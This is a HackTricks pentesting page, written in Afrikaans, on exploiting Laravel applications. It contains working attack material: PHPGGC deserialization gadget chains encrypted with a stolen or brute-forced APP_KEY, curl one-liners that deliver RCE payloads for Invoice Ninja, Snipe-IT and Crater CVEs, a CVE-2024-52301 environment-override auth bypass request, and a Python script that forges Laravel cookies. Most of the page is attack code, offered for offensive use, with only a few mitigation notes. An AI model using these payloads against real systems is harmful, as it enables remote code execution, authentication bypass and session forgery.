Laravel
Reading time: 10 minutes
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Laravel SQLInjection
Lees hieroor: https://stitcher.io/blog/unsafe-sql-functions-in-laravel
APP_KEY & Enkripsie interne werking (Laravel \u003e=5.6)
Laravel gebruik AES-256-CBC (of GCM) met HMAC-integriteit onder die kap (Illuminate\\Encryption\\Encrypter
).
Die rou ciphertext wat uiteindelik na die kliënt gestuur word is Base64 van 'n JSON-objek soos:
{
"iv" : "Base64(random 16-byte IV)",
"value": "Base64(ciphertext)",
"mac" : "HMAC_SHA256(iv||value, APP_KEY)",
"tag" : "" // only used for AEAD ciphers (GCM)
}
encrypt($value, $serialize=true)
sal die plaintext standaard serialize()
, terwyl
decrypt($payload, $unserialize=true)
sal outomaties unserialize()
die gedekripteerde waarde.
Daarom kan enige aanvaller wat die 32-byte geheime APP_KEY
ken, 'n versleutelde PHP serialized object konstrueer en RCE verkry via magic methods (__wakeup
, __destruct
, …).
Minimale PoC (framework ≥9.x):
use Illuminate\Support\Facades\Crypt;
$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste
Inject die geproduseerde string in enige kwesbare decrypt()
sink (route param, cookie, session, …).
laravel-crypto-killer 🧨
laravel-crypto-killer automatiseer die hele proses en voeg 'n gerieflike bruteforce modus by:
# Encrypt a phpggc chain with a known APP_KEY
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"
# Decrypt a captured cookie / token
laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>
# Try a word-list of keys against a token (offline)
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
Die skrip ondersteun beide CBC- en GCM-payloads deursigtig en genereer die HMAC/tag-veld weer.
Werklike kwesbare patrone
Project | Vulnerable sink | Gadget chain |
---|---|---|
Invoice Ninja ≤v5 (CVE-2024-55555) | /route/{hash} → decrypt($hash) | Laravel/RCE13 |
Snipe-IT ≤v6 (CVE-2024-48987) | XSRF-TOKEN cookie when Passport::withCookieSerialization() is enabled | Laravel/RCE9 |
Crater (CVE-2024-55556) | SESSION_DRIVER=cookie → laravel_session cookie | Laravel/RCE15 |
Die eksploitasiewerksvloei is altyd:
- Kry of brute-force die 32-byte
APP_KEY
. - Bou 'n gadget chain met PHPGGC (byvoorbeeld
Laravel/RCE13
,Laravel/RCE9
ofLaravel/RCE15
). - Enkripteer die geserialiseerde gadget met laravel_crypto_killer.py en die herwonne
APP_KEY
. - Lewer die ciphertext aan die kwesbare
decrypt()
sink (route parameter, cookie, session …) om RCE te aktiveer.
Hieronder is bondige eenreëls wat die volle aanvalspad vir elke bogenoemde werklike CVE demonstreer:
# Invoice Ninja ≤5 – /route/{hash}
php8.2 phpggc Laravel/RCE13 system id -b -f | \
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - | \
xargs -I% curl "https://victim/route/%"
# Snipe-IT ≤6 – XSRF-TOKEN cookie
php7.4 phpggc Laravel/RCE9 system id -b | \
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - > xsrf.txt
curl -H "Cookie: XSRF-TOKEN=$(cat xsrf.txt)" https://victim/login
# Crater – cookie-based session
php8.2 phpggc Laravel/RCE15 system id -b > payload.bin
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v payload.bin --session_cookie=<orig_hash> > forged.txt
curl -H "Cookie: laravel_session=<orig>; <cookie_name>=$(cat forged.txt)" https://victim/login
Mass APP_KEY discovery via cookie brute-force
Omdat elke vars Laravel-antwoord minstens 1 encrypted cookie (XSRF-TOKEN
and usually laravel_session
), public internet scanners (Shodan, Censys, …) leak millions of ciphertexts wat offline aangeval kan word.
Belangrike bevindinge van die navorsing gepubliseer deur Synacktiv (2024-2025):
- Datastel Julie 2024 » 580 k tokens, 3.99 % keys cracked (≈23 k)
- Datastel Mei 2025 » 625 k tokens, 3.56 % keys cracked
-
1 000 servers nog steeds kwesbaar vir legacy CVE-2018-15133 omdat tokens direk geserialiseerde data bevat.
- Groot key-hergebruik – die Top-10 APP_KEYs is hard-coded defaults wat saam met kommersiële Laravel-templates gestuur word (UltimatePOS, Invoice Ninja, XPanel, …).
Die private Go-instrument nounours stoot AES-CBC/GCM bruteforce throughput na ~1.5 billion tries/s, wat volledige datastel-kraking tot <2 minute verminder.
CVE-2024-52301 – HTTP argv/env override → auth bypass
Wanneer PHP’s register_argc_argv=On
(tipies op baie distros), gee PHP 'n argv
array bloot vir HTTP-versoeke wat van die query string afgeleide is. Onlangse Laravel-weergawes het hierdie “CLI-like” args geparseer en --env=<value>
by runtime geag. Dit laat toe om die framework-omgewing vir die huidige HTTP-versoek te omskakel net deur dit aan enige URL toe te voeg:
-
Vinnige toets:
-
Besoek
https://target/?--env=local
of enige string en kyk vir omgewing-afhanklike veranderinge (debug banners, footers, verbose errors). As die string gereflekteer word, werk die override. -
Impakvoorbeeld (business logic wat op 'n spesiale env vertrou):
-
As die app takke bevat soos
if (app()->environment('preprod')) { /* bypass auth */ }
, kan jy autentiseer sonder geldige creds deur die login POST te stuur na: -
POST /login?--env=preprod
-
Aantekeninge:
-
Werk per-versoek, geen persistentie.
-
Vereis
register_argc_argv=On
en 'n kwesbare Laravel-weergawes wat argv vir HTTP lees. -
Nuttige primitive om meer verbose errors in “debug” envs te ontbloot of om environment-gated code paths te trigger.
-
Mitigasies:
-
Disable
register_argc_argv
vir PHP-FPM/Apache. -
Upgrade Laravel om argv op HTTP-versoeke te ignoreer en verwyder enige trust-aanname wat aan
app()->environment()
in production routes gekoppel is.
Minimale uitbuitingsvloei (Burp):
POST /login?--env=preprod HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
...
email=a@b.c&password=whatever&remember=0xdf
Laravel Truuks
Foutopsporingsmodus
As Laravel in foutopsporingsmodus is, sal jy toegang hê tot die kode en gevoelige data.
Byvoorbeeld http://127.0.0.1:8000/profiles
:
Dit is gewoonlik nodig vir exploiting ander Laravel RCE CVEs.
Fingerprinting & exposed dev endpoints
Vinnige kontroles om 'n Laravel-stapel en gevaarlike dev-tooling wat in produksie blootgestel is, te identifiseer:
/_ignition/health-check
→ Ignition teenwoordig (debug-instrument wat deur CVE-2021-3129 gebruik is). As dit sonder verifikasie bereikbaar is, mag die app in debug wees of verkeerd gekonfigureer./_debugbar
→ Laravel Debugbar assets; dui dikwels op foutopsporingsmodus./telescope
→ Laravel Telescope (dev monitor). As dit publiek is, verwag omvattende inligtingsonthulling en moontlike aksies./horizon
→ Queue dashboard; weergawe-inligting en soms CSRF-beskermde aksies.X-Powered-By
, cookiesXSRF-TOKEN
andlaravel_session
, en Blade-foutbladsye help ook met fingerprinting.
# Nuclei quick probe
nuclei -nt -u https://target -tags laravel -rl 30
# Manual spot checks
for p in _ignition/health-check _debugbar telescope horizon; do curl -sk https://target/$p | head -n1; done
.env
Laravel stoor die APP wat dit gebruik om die cookies en ander credentials te enkripteer in 'n lêer genaamd .env
wat bereik kan word deur path traversal onder: /../.env
Laravel sal hierdie inligting ook op die debug page wys (wat verskyn wanneer Laravel 'n fout vind en dit geaktiveer is).
Deur die geheime APP_KEY van Laravel te gebruik, kan jy cookies decrypt en re-encrypt:
Decrypt Cookie
import os
import json
import hashlib
import sys
import hmac
import base64
import string
import requests
from Crypto.Cipher import AES
from phpserialize import loads, dumps
#https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3
def mcrypt_decrypt(value, iv):
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.decrypt(value)
def mcrypt_encrypt(value, iv):
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.encrypt(value)
def decrypt(bstring):
global key
dic = json.loads(base64.b64decode(bstring).decode())
mac = dic['mac']
value = bytes(dic['value'], 'utf-8')
iv = bytes(dic['iv'], 'utf-8')
if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest():
return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))
#return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode()
return ''
def encrypt(string):
global key
iv = os.urandom(16)
#string = dumps(string)
padding = 16 - len(string) % 16
string += bytes(chr(padding) * padding, 'utf-8')
value = base64.b64encode(mcrypt_encrypt(string, iv))
iv = base64.b64encode(iv)
mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest()
dic = {'iv': iv.decode(), 'value': value.decode(), 'mac': mac}
return base64.b64encode(bytes(json.dumps(dic), 'utf-8'))
app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k='
key = base64.b64decode(app_key)
decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlxcL1JGY0t6YzhaaGNHR1duSktIdjF1elxcLzV4a3dUOElZVzMw aG01dGk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9')
#b'{"data":"a:6:{s:6:\"_token\";s:40:\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\";s:8:\"username\";s:8:\"guestc32\";s:5:\"order\";s:2:\"id\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
encrypt(b'{"data":"a:6:{s:6:\"_token\";s:40:\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\";s:8:\"username\";s:8:\"guest60e\";s:5:\"order\";s:8:\"lolololo\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\";}}","expires":1605141157}')
Laravel Deserialization RCE
Kwetsbare weergawes: 5.5.40 en 5.6.x tot en met 5.6.29 (https://www.cvedetails.com/cve/CVE-2018-15133/)
Hier vind jy inligting oor die deserialization-kwetsbaarheid: https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/
Jy kan dit toets en uitbuit met behulp van https://github.com/kozmic/laravel-poc-CVE-2018-15133
Of jy kan dit ook met metasploit uitbuit: use unix/http/laravel_token_unserialize_exec
CVE-2021-3129
Nog 'n deserialization: https://github.com/ambionics/laravel-exploits
Verwysings
- Laravel: APP_KEY leakage analysis (EN)
- Laravel : analyse de fuite d’APP_KEY (FR)
- laravel-crypto-killer
- PHPGGC – PHP Generic Gadget Chains
- CVE-2018-15133 write-up (WithSecure)
- CVE-2024-52301 advisory – Laravel argv env detection
- CVE-2024-52301 PoC – register_argc_argv HTTP argv → --env override
- 0xdf – HTB Environment (CVE‑2024‑52301 env override → auth bypass)
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.